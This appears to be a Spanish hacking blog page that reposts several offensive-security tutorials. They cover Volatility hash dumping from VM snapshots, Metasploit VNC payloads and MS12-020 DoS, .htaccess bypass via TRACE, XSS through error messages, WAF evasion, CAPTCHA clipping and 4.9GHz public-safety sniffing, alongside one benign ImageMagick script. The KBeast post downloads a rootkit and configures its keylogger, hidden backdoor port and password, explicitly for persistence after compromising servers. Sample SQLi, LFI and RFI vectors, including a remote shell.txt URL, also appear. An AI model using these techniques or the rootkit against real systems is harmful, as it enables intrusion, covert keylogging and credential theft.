Banner 1

Milw0rm y Inj3ct0r se fusionan en 1337db

0 comentarios
Esta nota es algo vieja pero la publico por si algunos de nosotros estabamos algo perdidos del mundo de la seguridad :) y en nuestro tiempo solo usabamos milworm para nuestras andanzas.


Los proyectos Milw0rm e Inj3ct0r se han fusionado y trasladado a 1337db (1337 Exploit DataBase) un nuevo dominio que seguirá hospedando la magnífica base de datos de exploits.

Os dejo el aviso:

"The two projects merged into one. More secure and more powerful. We will not leave you. We will fight till the end. We are part of the underground. The team stays with you. Our new name 1337db (1337 Exploit DataBase) . We thank everyone who stayed with us. We will not let you down. We will work autonomously.

Rip Milw0rm? Bye Inj3ct0r? not die ... We switched to a higher level =]


Personal Thank: Sid3^effects, L0rd CrusAd3r, secuid0, indoushka, anT!-Tr0J4n, etc.. Thank you very much. You have made a great contribution to my 1337 life ;)
 

Fuente: hackplayers

Cambiar la calidad de imágenes por lote usando BASH

3 comentarios
Reducir la calidad de un JPG en ocasiones permite que reduzcas su tamaño en bytes con un impacto visual muy bajo, las ventajas de hacer esto en un directorio como lo es el de uploads de WordPress es que reduces el espacio que estas usando en disco duro, el ancho de banda que consumes y tu pagina carga mas rápido.

Con BASH e ImageMagick puedes cambiar el peso de una imagen ajustando su calidad
Con BASH e ImageMagick puedes cambiar el peso de una imagen ajustando su calidad

La suite ImageMagick ofrece identify entre sus aplicaciones la que nos permite ver información acerca de una imagen. En este caso lo usaremos para ver la calidad de un JPG y también usaremos convert de la misma suite (ImageMagick) para ajustar la calidad de la imagen.
En caso de que necesiten instalar ImageMagick, solo deben abrir un terminal y ejecutar como root en su Fedora Linux:
yum install ImageMagick
Recuerda que no estas obligado a usar el terminal en Fedora para instalar aplicaciones, también puedes hacerlo usando la interfaz gráfica, solo sigue mi vídeo tutorial Instalando programas en Fedora Linux
Una vez que tengas instalado ImageMagick puedes ejecutar el siguiente script:
#!/bin/bash
DIRECTORIOS="/var/www/htdocs/wordpress/wp-content/uploads/20*"
NUEVA_CALIDAD="80"
#
for IMAGENES in `find $DIRECTORIOS -type f| grep -i jpg$ `;
do CALIDAD=`identify -format %Q $IMAGENES`;
if [ "$CALIDAD" -gt "$NUEVA_CALIDAD" ];
then
echo mejorando $IMAGENES con calidad $CALIDAD
convert -quality $NUEVA_CALIDAD $IMAGENES $IMAGENES
fi
done

Como ven, en las primeras dos lineas se declara la ruta de donde están las imágenes y en el segundo se procesan. En mi caso me dispuse a ajustar la calidad de las imágenes de mi wordpress por lo que asignó a $DIRECTORIOS la ruta donde están guardadas las imágenes de los artículos. Noten que acepta wildcards.
El proceso como tal usa la salida de identify para saber la calidad actual de la imagen, luego con un condicional evaluamos si la imagen en cuestión tiene una calidad superior al valor deseado ($NUEVA_CALIDAD) y de ser así le se la cambiamos asignándole el valor de $NUEVA_CALIDAD que para este ejemplo es 80.


Eliminado meta-data y la codificación del JPEG para una imagen mas pequeña

Calidad al 100% con un tamaño o peso de 50K Calidad al 80% con un tamaño o peso de 6.7K
Calidad al 100% con un tamaño o peso de 50K Calidad al 80% con un tamaño o peso de 6.7K
El producto se puede apreciar en estas dos imágenes, la de la izquierda es la original mientras que la de la derecha es la imagen procesada. Para llegar a esta diferencia de tamaño tuve que usar medidas drásticas. aparte de ajustar la calidad a un 80%, me dispuse a eliminar la data del EXIF y cambie el subsampling pasandole a convert estos parámetros:
-quality 80 -strip -sampling-factor 4:1:1
Si quieres aplicar estos cambios a un lote de imágenes puedes usar esta versión modificada del script anterior:
#!/bin/bash
DIRECTORIOS="/var/www/htdocs/wordpress/wp-content/uploads/20*"
NUEVA_CALIDAD="80"
SAMPLING="4:1:1"
#
for IMAGENES in `find $DIRECTORIOS -type f| grep -i jpg$ `;
do CALIDAD=`identify -format %Q $IMAGENES`;
if [ "$CALIDAD" -gt "$NUEVA_CALIDAD" ];
then
echo mejorando $IMAGENES con calidad $CALIDAD
convert -quality $NUEVA_CALIDAD -strip -sampling-factor $SAMPLING $IMAGENES $IMAGENES
fi
done


Tengan en cuenta que jugar con el sampling-factor puede alterar la fidelidad de los colores de una imagen.

Fuente: http://orvtech.com/general/cambiar-calidad-imagenes-usando-bash/

Obteniendo los hashes de las contraseñas de máquinas virtuales suspendidas o snapshots mediante Volatility

0 comentarios

En este post vamos a ver una interesante técnica que hace unos días nos mostraba Mark Baggett en el blog de pentesting de SANS mediante la cual podemos obtener los hashes de las contraseñas de los usuarios de una máquina virtual VMWare suspendida o de su snapshot.

Lo primero que vamos a hacer es obtener un volcado de memoria (memory dump) a partir de los ficheros de memoria .vmem de la máquina virtual y de los ficheros .vmss (estado suspendido) o .vmsn (snapshot). Para ello ejecutaremos la herramienta vmss2core que VMWare distribuye por defecto y que podréis encontrar normalmente en "C:\Archivos de programa\VMware\VMware Workstation" o, si tenéis Mac OS X, en "/Library/Application Support/VMware Fusion". El comando es muy sencillo:

$ vmss2core -W Windows7.vmss Windows7.vmem

Durante el proceso podréis observar que el SO de la máquina virtual es un Windows 7 SP1:

vmss2core: Log: Win: ntBuildLab=7601.17803.x86fre.win7sp1_gdr.120330-1504

Al final obtendremos como resultado el fichero memory.dmp, normalmente de un tamaño considerable.

Ahora vamos a analizar el volcado con Volatitity. Lo primero es verificar el tipo de imagen con la que estamos trabajando mediante imageinfo:

$ python vol.py -f memory.dmp imageinfo
Volatile Systems Volatility Framework 2.0
Determining profile based on KDBG search...
             Suggested Profile : Win7SP1x86, Win7SP0x86
                     AS Layer1 : JKIA32PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/Users/vmotos/Desktop/memory.dmp)
                      PAE type : No PAE
                           DTB : 0x185000
                          KDBG : 0x8196cbe8
                          KPCR : 0xffdf000L
             KUSER_SHARED_DATA : 0xffdf000L
           Image date and time : 2012-08-13 23:30:28
     Image local date and time : 2010-08-13 23:30:28
          Number of Processors : 2
                    Image Type :

Una vez confirmado el profile, a continuación, mediante hivelist localizaremos las direcciones de memoria de los grupos de claves del registro o registry hives:

$ python vol.py --profile=Win7SP1x86 -f memory.dmp hivelist



Apuntamos los offsets de \REGISTERY\MACHINE\SYSTEM y \SystemRoot\System32\Config\SAM, y los pasamos al plugin hashdump de Volatility:

$ python vol.py --profile=Win7SP1x86 -f memory.dmp --sys-offset=0x87ela248 --sam-offset=0x8e77e008 hashdump 



¡Y ya está! Ya tenemos los hashes de la máquina virtual VMware, listos para ser crackeados o utilizados en ataques pass-the-hash. También podremos utilizar el plugin lssadump de Volatility (offsets de SYSTEM y SECURITY) para obtener las credenciales usadas por DPAPI, la clave pública RDP o la contraseña por defecto en sistemas con autologin.

pd. Si tu máquina virtual funciona bajo Microsoft Hyper-V, probablemente puedas hacer lo mismo con vm2dmp + Volatility. ¡No dudes en comentar si ya lo has probado!
 
Fuente: hackplayers

VNC como Payload en Metasploit

0 comentarios
No todo en el mundo de los payloads es Meterpreter, hoy presentamos la posibilidad de utilizar VNC como Payload contra un sistema Windows. Eso sí debemos de tener instalado un cliente VNC, por ejemplo vncviewer en la BackTrack, o la máquina Linux que usemos con Metasploit… Bien, El primer caso que se propone es el del payload vncinject. El payload cargado debe ser windows/vncinject/reverse_tcp, conexión inversa o utilizar una directa con bind_tcp. Este payload inyecta un servidor VNC en la memoria de la máquina vulnerada, el exploit conecta automáticamente con éste y se obtiene la visión del escritorio de la víctima.
Existen algunos problemas con este payload y es que, nada más ejecutarlo, la máquina vulnerada abre una CMD, en color azul muy mono, el cual puede hacer pensar y pensar a la víctima que algo extraño ocurre en su máquina. Vale, muchos diréis, pero te has saltado la fase de explotación, ¿En qué exploit lo pongo? Bien, tenemos la instrucción show payloads, para cuando tengamos cargado un módulo de exploit saber que payloads hay disponibles. Hoy no vamos a decir, tenemos que utilizar este módulo o este ortro, siempre para las pruebas utilizar exploit/windows/smb/ms08_067_netapi, sobre máquinas w2003, XP, e inferiores… y siempre que no estén parcheadas, pero en vuestro laboratorio mandáis vosotros.
Pero podemos afinar un poco mejor esto, ya que lo del CMD en azul canta y bastante… podemos tener un Meterpreter, y ejecutar el script vnc, es decir, run vnc en una sesión de Meterpreter. De este modo, no hay pantalla azul en la maquina victima, y se obtiene la visión del escritorio remoto a modo de espía, eso sí no le mováis el ratón que canta mucho.

Fuente:http://www.flu-project.com

Metasploit: Jugando a DoS con MS12-020-MaxChannelsIds

0 comentarios
La ya famosa vulnerabilidad de RDP, gran protagonista de lo que llevamos de año, sigue captando el foco de atención. Esta vez hablamos de su incorporación al framework de Metasploit. En el presente artículo hablaremos de ello y realizaremos una prueba de concepto, enseñando como evitarlo.
¿Sobre cual probamos? Un 7 por ejemplo…
El equipo víctima será un Windows 7, el cual dispondrá de los servicios de escritorio remoto activos. Si estos servicios no estuviesen activos no se podría realizar el ataque DoS sobre la máquina. Además, si el servicio de escritorio remoto estuviera configurado con autenticación a nivel de red tampoco se podrá realizar la denegación de servicio.
Bien, imaginemos que la víctima dispone de un escritorio remoto, que permite la conexión desde cualquier cliente de escritorio remoto. Parece que la vulnerabilidad no es tan crítica como parecía… y encima sale, una vez Microsoft presenta el parche, visto así no es tan fiero el león como lo pintan, ¿no?
Configuremos Metasploit y probemos la eficiencia del ataque DoS… un poco de PoC por aquí… y bien, en Metasploit se dispone de un módulo auxiliar en la siguiente ruta auxiliary/dos/Windows/rdp/ms12_020_maxchannelids. Lanzamos el comando use, tras arrancar Metasploit, y accedemos a dicha ruta. Después con un show options se visualiza las distintas opciones que hay que configurar para lanzar el ataque.
¿Sólo tenemos que indicarle la dirección del equipo remoto? La respuesta es… SI. Con el comando set asignamos la dirección al parámetro RHOST y ejecutamos el comando run para lanzar la denegación de servicio.
Y una vez hecho esto… si la víctima es vulnerable, ¡actualizad administradores! Se obtiene lo siguiente…
En conclusión, se observa lo sencillo que puede ser tirar una máquina abajo, y lo sencillo que es configurar Metasploit para realizar diversos ataques. De nuevo, ¡actualizad!

Fuente: http://www.flu-project.com

Jugando con .htaccess

0 comentarios
La mayoria ya conoce cual es la funcion de este archivo en el servidor encargandose de actuar sobre el fichero de configuracion de apache “httpd.conf”

Permite:
Redireccion de url’s
Respuestas de error personalizadas.
Proteccion de directorios, subdirectorios y ficheros en el servidor.
Certificados de autentificacion http.
etc…
No vengo a escribrir de como implementar cada una de sus funciones.
En la Black-Hat pasada se hablo de una supuesta vulnerabilidad en .htaccess, yo creo que mas que una vulnerabilidad es solo una mala implementacion del metodo [color=red][/color] cuando se desea restringir el acceso a cierto directorio/fichero presentando un certificado de autentificacion http.
En cuanto a estos tipos de certificados tenemos los:
Basicos: La contraseña viaja en texto plano
Resumen: El servidor le aplica un hash al password antes de ser enviado.
En la siguiente imagen podemos encontrar un servidor que implementa un certificado de tipo basico.

Conociendo la cantidad de admins que andan sueltos, Podriamos deducir para suerte nuestra que nos estariamos encontrando con un .htaccess configurado de la siguiente manera (supongamos).
?
1
2
3
4
5
6
7
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic
 
require valid-user

Donde esta la mala implementacion?

Vemos que solo se limita a peticiones GET, dejando de lado TRACE, OPTIONS, POST, PUT, COPY, MOVE, DELETE, TRACK, etc, entre otras.
Podriamos obtener el contenido de algun fichero detras de la proteccion utilizando el metodo POST.

Otras configuraciones mas restringidas incluyen el metodo POST como limite.
?
1
2
3
4
5
6
7
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic
 
require valid-user

Pero eso no nos niega la posibilidad de enumerar los ficheros y directorios protegidos por .htaccess utilizando los demas metodos que se hayen habilitados en el servidor.
Si analizamos, ahun existiendo o no el path /files/pass.txt, el servidor nos responderia con el mismo error 401 (no autorizado)

Lo mismo pasara al realizar una peticion POST, pero que hay de los demas metodos, como responderia ante una peticion http que no este dentro de los ? por ejemplo TRACE.
?
1
2
3
4
5
6
7
8
TRACE /files/pass.txt HTTP/1.0
 
HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http
TRACE /files/pass.txt HTTP/1.0

Evidentemente nos responde con 200 ok, hemos logrado evadir la restriccion del .htaccess para deducir la existencia del fichero en el servidor, en caso de no existir el servidor nos responderia con un error 404.
Otro manera seria realizar peticiones con metodos no implementados e inexistentes como[color=red] GETS[/color], el servidor lo tomaria como si se tratara de un metodo GET.
?
1
2
3
4
5
6
7
8
9
GETS /files/pass.txt HTTP/1.1
 
HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http
 
q3rv0:queteimporta


Este tipo de evaciones lo implementa la herramientas HTexploit.

Saludos!

Fuente:http://underterminal.nixiweb.com/?p=344

[KBEAST] Plantando un Rootkit

0 comentarios

Siempre es conveniente asegurarse el silencio luego de una intrusion, y con que me refiero al silencio? Ademas de entrar en el tema de borrado de huellas, me refiero a la accion de dejar un secuas en el servidor que se encargue de ocultar ciertos procesos, archivos, etc que dejemos en el target para esto voy a utilizar a KBeast que es un rootkit 2011, ademas de uno de mis preferidos, tiene soporte para los kernel 2.6.18 y 2.6.32,y presenta varias funcionalidades interesantes como:

-Ocultar archivos y directorios
-Ocultar procesos de (ps, pstree, top, lsof)
- Ocultar puertos locales abiertos (backdoors)
-Viene con un modulo keylogger incorporado para capturar las pulsaciones.
-Anti-kill para procesos
-Anti-remove para archivos
-Trae un backdoor bind incorporado
- Tambien se encarga de esconder ciertos modulos cargando en el kernel ademas de un anti-remove para estos.
Bastante completita la basura!, demas esta decir que requerimos de privilegios de usuario root, en este caso lo voy a realizar en un debian con un kernel 2.6.32 (entorno controlado)
Descargamos el rootkit.
?
1
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz

Una vez extraido nos encontramos con varios files, tendremos que editar a nuestro antojo el archivo de configuracion config.h
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/*
Kernel Beast Ver #1.0 - Configuration File
Copyright Ph03n1X of IPSECS (c) 2011
Get more research of ours http://ipsecs.com
*/
 
/*Don't change this line*/
#define TRUE 1
#define FALSE 0
 
/*
Enable keylog probably makes the system unstable
But worth to be tried
*/
#define _KEYLOG_ TRUE
 
/*Define your module & network daemon name*/
#define KBEAST "kbeast"
 
/*
All files, dirs, process will be hidden
Protected from deletion & being killed
*/
#define _H4X0R_ "_h4x_"
 
/*
Directory where your rootkit will be saved
You have to use _H4X0R_ in your directory name
No slash (/) at the end
*/
#define _H4X_PATH_ "/usr/_h4x_"
 
/*
File to save key logged data
*/
#define _LOGFILE_ "acctlog"
 
/*
This port will be hidded from netstat
*/
#define _HIDE_PORT_ 13377
 
/*
Password for remote access
*/
#define _RPASSWORD_ "h4x3d"
#define _MAGIC_NAME_ "bin"
/*
Magic signal & pid for local escalation
*/
#define _MAGIC_SIG_ 37 //kill signal
#define _MAGIC_PID_ 31337 //kill this pid
prosigo a explicar la funcion de cada linea en el fichero de configuracion.
1- La primera linea la dejamos tal cual esta
2- la segunda se encarga de activar el modulo keylogger del rootkit en caso contrario escribimos
?
1
#define _KEYLOG_ FALSE
3- se encarga de darle el nombre al daemon rootkit
?
1
#define KBEAST "q3rv0"
4 – En esta linea vamos a incluir los ficheros y directorios que queremos que sean protegidos por el anti-remove.
?
1
#define _H4X0R_ "/home/q3rv0/protect/q3rv0.txt"
5- Define el directorio donde se guardara KBeast
?
1
#define _H4X_PATH_ "/usr/share/kbeast"
6 – Aca especificamos el nombre del fichero de log donde van a ir a parar las pulsasiones capturadas por el keylogger
?
1
#define _LOGFILE_ "acctlog"
7- El puerto que estara hide a la vista de los comandos anteriormente mencionados.
?
1
#define _HIDE_PORT_ 6666
8- Incluimos el password para el acceso con el backdoor.
?
1
2
#define _RPASSWORD_ "q3rv0"
#define _MAGIC_NAME_ "bin"
Habiendo terminado de configurar el ficherito, que bastante intuitivo es, si me saltee la 9, pero esa la dejo tal cual esta.
Procedemos a lanzar el rootkit de la siguiente manera.
En los kernel 2.6.18
?
1
./setup buil 0
En los 2.6.32 como es mi caso
?
1
./setup build
Vemos que se compilo exitosamente en el nucleo sin ningun error, ahora vamos a comprobar si cumple con nuestras espectativas.
-Verificando la proteccion anti-remove de ficheros

- Directorio donde se guarda el rootkit en el systema
- Pulsaciones capturadas por el modulo keylogger…
El fichero de log se guarda en el directorio donde le indicamos que se guarde el rootkit.

- Port 6666 Hide

- Accediendo al sistema a travez del backdoor en el puerto 6666

- oka, para remover el rootkit del kernel solo basta realizar un:

?
1
./setup clean

Espero que lo hayan disfrutado y cada vez que rooteen un server acuerdense de kbeast :)
Saludos!

-________-

Cabe anotar que blogspot es algo malo para la citación de código y reducción de imagenes dejo el link para que visiten el post bien bonito y organizado:http://underterminal.nixiweb.com/?p=393#more-393

XSS a travez de ERROR!

0 comentarios
null
No todos los errores del tipo mysql, mssql, postgresql, sqlite3, funciones como include(), main(), require(), require_once() , errores en scripts VBscripts, etc, tienen que ser suceptibles a rfi, lfi, sqli, etc. Hay ciertas ocaciones en que este tipo de mensajes no pueden ser aprovechados de manera satisfactoria, pero a travez del error se podria inyectar codigo javascript en el index.

Miremos un ejemplo de una web que al parecer es vulnerable a sqli.
Como podemos divisar en el mensaje que nos devuelve la DB salta la cadena que acabo de inyectar en el parametro vulnerable.
Probemos a ver si logramos ponerla en negrita
Efectivamente inyectamos codigo html, a ver que pasa con un alert?.
bien, vemos en que otro tipo de error podemos incrustar un XSS.
En la siguiente web tenemos una posible lfi.
Probemos nuevamente de meter un alert donde se alla la cadena que nos devuelve el error.
Como vemos todo error por parte del servidor que nos devuelva la cadena que introducimos en el parametro puede ser aprovechado para inyectar de manera reflejada un XSS, con o sin evasivas! ojala les haya servido!
Bytes!

Fuente:http://underterminal.nixiweb.com

PWNEANDO el WAF!

0 comentarios

[0x1] ————– Que es un WAF?
[0x2] ————– Reconocimiento de un Firewall de aplicaciones web
[0x3] ————– Tecnicas de evacion SQL
[0x2a] ———— Utilizando comentarios
[0x2b] ———— Uso de la funcion CHAR()
[0x2c] ———— HPP (Polucion de parametros HTTP)
[0x2d] ———— HPF (Fragmentacion de parametros HTTP)

——————————————-+
[0x1] Que es un WAF?
——————————————-+
Ultimamente, me fui encontrando con aplicaciones que por algun motivo y siendo vulnerables
me saltaban con un error del tipo 501 (method no implementado), o directamente al realizara algun tipo de inyeccion, el servidor me enviava un flag FIN y
terminaba paradado con un mensajito de “The concexion was reSet”, sospechoso, no?, por esta razon decidi escribir a cerca de los WAF (firewalls de aplicaciones web)
Para quien no conozco de su existencia, los WAF se encargan de mediar entre el cliente y servidor, filtrando la entrada de caracteres segun la configuracion de seguridad del mismo.
Existen varios de estos, uno de los mas conocidos es ModSecurity, pero ademas de este muchas aplicaciones corren con:
-Libhtp
-Ironbee
y demas…
Un WAF trabaja en la capa de aplicacion, controlando la entrada de datos en protocolos como HTTP/HTTPS/SOAP/XML-RPC y segun el trafico que se halle en la blacklist de su configuracion enviaran un mensaje de alerta ante determinado vector de ataque tales como:
http://vulnpage/alal.php?vuln=9999″> XSS
http://vulnpage/alal.php?vuln=9999′+or+’5′>=’3– SQLI
http://vulnpage/alal.php?vuln=../../../../../lol LFI
http://vulnpage/alal.php?vuln=http://lol.com/shell.txt? RFI
ETC…
————————————————-+
Reconocimiento de un Firewall de aplicaciones web
————————————————–+
Como descubrimos la presencia de un WAF en la aplicacion?
Generalmente las respuestas de tipo:
- 501 (method not implemented)
- Conexion reseteada por parte del servidor
- Mensaje 403
- Redireccionamiento hacia la pagina de inicio
Estos son indicios de la presencia de algun tipo de mediador que nos esta hinchando las pelotas XD!
Una de las maneras de obtener el tipo de waf que protege un servidor, es indagando
dentro de las respuestas en las cabeceras http.
Para ello, si estamos en duda de que la aplicacion corre con un firewall web, podemos usar el buscador shodan, para cersiorarnos de  que en realidad es asi.
Dork: “host:”Underterminal.com” Mod_security enabled”
Informacion del tipo y version de WAF en la cabecera Server.
————————+
?
1
2
3
4
5
6
7
8
9
HTTP/1.0 200 OK
Date: Mon, 10 Sep 2012 20:25:38 GMT
Server: Mod_Security 2.5.9 enabled
Last-Modified: Wed, 13 Jul 2011 07:12:51 GMT
ETag: "c902e9-2c-4a7ee24f602c0"
Accept-Ranges: bytes
Content-Length: 44
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
—————————+
Otra es usando herramientas o scripts que se encarguen de realizar un fingerprinting sobre estos como por ejemplo http-waf-detect.nse, un motor encargado de la deteccion de waf’s incorporado en nmap.
Podemos utilizarlo de la siguiente manera:
?
1
nmap -Pn -n -VV -T2 --script=http-waf-detect.nse "TARGET"
Veamos que pasa con papa google?
————————————————————–+
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nmap -p80 -vv -T2 -Pn -n  --script http-waf-detect google.com
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-11 01:38 ART
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Warning: Hostname google.com resolves to 11 IPs. Using 74.125.229.37.
Initiating SYN Stealth Scan at 01:38
Scanning google.com (74.125.229.37) [1 port]
Discovered open port 80/tcp on 74.125.229.37
Completed SYN Stealth Scan at 01:38, 0.44s elapsed (1 total ports)
NSE: Script scanning 74.125.229.37.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:38
Completed NSE at 01:38, 13.07s elapsed
Nmap scan report for google.com (74.125.229.37)
Host is up (0.039s latency).
Other addresses for google.com (not scanned): 74.125.229.38 74.125.229.39 74.125.229.40 74.125.229.41 74.125.229.46 74.125.229.32 74.125.229.33 74.125.229.34 74.125.229.35 74.125.229.36
Scanned at 2012-09-11 01:38:24 ART for 13s
PORT   STATE SERVICE
80/tcp open  http
| http-waf-detect: IDS/IPS/WAF detected:
|_google.com:80/?p4yl04d3=















Bueno el post se ve horrible xD asi que les dejo el link original para que lo visten :) http://underterminal.nixiweb.com/?p=385#more-385

Bypassing CAPTCHAs by Impersonating CAPTCHA Providers

0 comentarios
By Gursev Kalra.

CAPTCHA service providers validate millions of CAPTCHAs each day and protect thousands of websites against the bots. A secure CAPTCHA generation and validation ecosystem forms the basis of the mutual trust model between the CAPTCHA provider and the consumer. A variety of damage can occur if any component of this ecosystem is compromised.

During Analysis of the CAPTCHA integration libraries provided by several CAPTCHA providers (including reCAPTCHA) revealed that almost all of the CAPTCHA verification API’s relied on plain text HTTP protocol to perform CAPTCHA validation. Because of this, the CAPTCHA provider’s identity was not validated, message authentication checks were not performed and the entire CAPTCHA validation was performed on an unencrypted channel. This vulnerability was also reported to reCAPTCHA team several months back.

If you decompile the .NET Plugin, you'll be able to pull out reCAPTCHA's verification URL, which demonstrates the absense of HTTPS:




In the current scenario, two types of attacks can be launched against vulnerable CAPTCHA implementations. These attacks are based on the assumption that an attacker is able to intercept the CAPTCHA validation traffic between target website and the CAPTCHA provider.

Private Key Compromise

Most of CAPTCHA providers issue private and public keys to identify a particular consumer and to enforce an upper limit on the number of CAPTCHAs used by them. Private keys are often sent over to the CAPTCHA provider during the CAPTCHA validation process. If the public and private keys are sent using plain text HTTP, an attacker could sniff the private keys and:

  1. Use the CAPTCHA service for without registering for the service by using the captured keys.
  2. Exhaust the target web site’s CAPTCHA quota for the service, which depending on the CAPTCHA provider may cause a wide variety of unexpected issues.

The CAPTCHA Clipping Attack

The following image describes what I call the "CAPTCHA Clipping Attack". Notice that steps 5 and 6 in blue would be the normal operation of events. We'll go into the attack in a little more detail below.



Since the website’s application server acts as a client to CAPTCHA provider during steps 5 and 6 (in blue) and the application server often neglects to validate the CAPTCHA provider’s identity and the session integrity checks, an attacker may be able to impersonate the CAPTCHA provider and undermine the anti-automation protection (steps 5 and 6 in red). CAPTCHA validation responses are mostly Boolean (true or false, success or failure, pass or fail, 0 or 1). The response format and its contents are also publicly available as part of CAPTCHA provider’s API documentation. This allows an attacker to easily construct the finite set of possible responses, impersonate the CAPTCHA provider, and perform malicious CAPTCHA validation for the application servers.

To exploit this vulnerability an attacker performs the following:

  1. The attacker acts as a legitimate application user and submits a large number of requests to the web application.
  2. At the same time, he/she intercepts CAPTCHA validation requests, masquerades as the CAPTCHA provider and approves all submitted requests.

Masquerading as the CAPTCHA provider and not forwarding the CAPTCHA validation requests to the actual CAPTCHA provider is the CAPTCHA Clipping Attack.

clipcaptcha

clipcaptcha is a proof of concept exploitation tool that specifically targets the vulnerabilities discussed above and allows complete bypass of CAPTCHA provider protection. clipcaptcha is built on the sslstrip codebase and has the following features:

  1. Performs signature based CAPTCHA provider detection and clipping.
  2. Can be easily extended to masquerade as any CAPTCHA provider by adding corresponding signatures to the configuration XML file.
  3. Has built in signatures of several CAPTCHA providers including reCAPTCHA, OpenCAPTCHA, Captchator etc…
  4. Logs POST requests that match any supported CAPTCHA provider to capture private and public keys. Unmatched requests are forwarded as is.
  5. clipcaptcha supports five operational modes. These are “monitor”, “stealth”, “avalanche”, “denial of service” and “random”.



Download

clipcaptcha can be downloaded here:

Fuente:http://blog.opensecurityresearch.com

Sniffing on the 4.9GHz Public Safety Spectrum

0 comentarios
By Brad Antoniewicz.

Probably the most important thing to mention about the 4.9GHz spectrum is that you need a license to operate in it! If you don't have a license (I'm pretty sure you don't) - IT MAY BE ILLEGAL TO INTERACT WITH THIS BAND.

You've been warned - That all being said, let's talk about public safety.


What is the Public Safety Spectrum?

The Public Safety Spectrum is the name for a number of reserved ranges in radio spectrum allocated by the FCC and dedicated for the "sole or principal purpose of protecting the safety of life, health, or property". Basically it's used for police, ambulance, fire, and in some cases, utilities to communicate.

The 4.9GHz Public Safety Spectrum (4.940GHz to 4.990GHz) is one of these reserved public safety ranges. It's mainly for short distance, almost line of sight, communications. It's used from everything to create "on the scene" networks so that the police and other responders can share and transfer data, to video camera systems around a fixed location.

The neat thing about the 4.9Ghz spectrum is that the pretty much de-facto standard used in it is IEEE802.11! It takes some deviations from the standard, such as allowing for 1MHz, 5MHz, 10MHz or 20MHz channels, but other then that, it is plain old 802.11 on a different spectrum.

Interacting with the Spectrum

To interact with the spectrum, you'll need an FCC LICENSE (!! if you skipped to this part, please see the first paragraph), and an adapter that is capable of transmitting/receiving on the 4.9GHz spectrum. There are some adapters already out there, such as the Ubiquiti SuperRange 4 Cardbus (SR4C), but no one likes spending more money if they don't have to!

An 4.9GHz adapter you might have already in your possession and not even know it is the Ubiquiti SuperRange Cardbus (SRC or SRC300)! The internal Atheros chipset actually supports from 4.910GHz to 6.1GHz! That's much more then originally advertised :)

The problem is though, if you want to use the cards with any of the standard Linux tools, you're more or less screwed! The current ath5k drivers don't officially support 4.9GHz. There are a couple of patches for older versions of the driver, but some don't work or can't be applied to the current stable driver release. Another issue is that some drivers don't support the 5MHz, 10MHz or 20MHz channel widths.

About the 4.9GHz Driver Patch

I took some time out and wrote up a quick patch for the current version of compat-wireless. I used some of the patches mentioned above as starting point, and then followed the code comments in the existing drivers to implement the channel widths correctly.

Enabling 4.9GHz


To enable the extended frequency ranges, I just modified the driver to accept frequencies as low as 4.910GHz. There was a "ath_is_49ghz_allowed()" function that defined if the regulatory domain was allowed to access that range. I modified this function to always return true. The regulatory domain is often stored within your cards EEPROM and defines what region the card will be operating in. The mac80211 drivers query this value to determine what frequencies you're allowed to use. Based on that value, the driver will either consult its internal (statically defined) regulatory database, or if present, the Central Regulatory Domain Agent (CRDA). The CRDA is a user land agent that defines what frequencies are used within a region. The idea is that if you're in a different regulatory domain then the one your card is registered for, you can dynamically change the allowed frequencies without making any driver changes. You would do this with the "iw" command:
 root@bt:~# iw reg set 


One problem I came across is that the driver won't consistently respect a regulatory domain that is defined this way. For example, if my card's EEPROM is set for US, but I set the World regulatory domain ("00"), sometimes it won't actually apply it or won't allow me to use the channels enabled by the extended regulatory domain. Because of this, I took the somewhat brutish approach of just returning true for "ath_is_49ghz_allowed()".

I really wanted to make this patch work with the smallest number of module changes, because the more complicated the module change, the more likely it will break in future releases. Plus, most of the code to support 4.9GHz was already there!

Rather than setting the 4.9GHz channels, etc.. statically within the driver, I also decided to leverage the CRDA, since it can be changed without needing the driver to be rebuilt.

Channel Widths


By default the compat-wireless drivers support 20MHz channel widths. Because 4.9GHz can have 1MHz, 5MHz, 10MHz, or 20MHz channels, the driver needed to be modified to support this. Luckily the driver code comments spell out what needs to be done, and much of the support already existed - it just wasn't used. I modified the drivers as per the code comments, and took a tip from the RADAR patch by adding the "default_bwmode" module parameter so that people can specify the channel width when they load the module.

Installation

Installing the patch is easy. Since I use non-persistent BackTrack for everything, I'll provide instructions using that as a base. You can either perform the installation manually or the "easy way" which is using a script I created.

Download

You should really read on, but if you're impatient and just want stuff to download, here is the download link:

The Easy Way

If you'd like to use this method, you'll just need internet access. Also, once you complete the "easy" way, you can use that directory for an offline installation later on. To install make sure you have internet access and:
 root@bt:~# git clone https://github.com/OpenSecurityResearch/public-safety
 root@bt:~# cd public-safety/4.9ghz/
 root@bt:~/public-safety/4.9ghz# chmod +x 49ghz_install.sh
 root@bt:~/public-safety/4.9ghz# ./49ghz_install.sh


That should be it (told you it was easy)! It'll auto create a monitor mode VAP using 10mhz wide channels.

Manual Installation

Manual installation is pretty simple too, but some people hate typing :) To install everything from scratch, first install all the prerequisites:
 root@bt:~# apt-get install libnl-dev libssl-dev python-m2crypto build-essential 


Next, we'll need to set up CRDA. The CRDA consults a database for its regulatory information. This database is called the wireless-regdb. You'll also need to sign the database. So lets create some keys to do that:
 root@bt:~# openssl genrsa -out key_for_regdb.priv.pem 2048 
 root@bt:~# openssl rsa -in key_for_regdb.priv.pem -out key_for_regdb.pub.pem -pubout -outform PEM


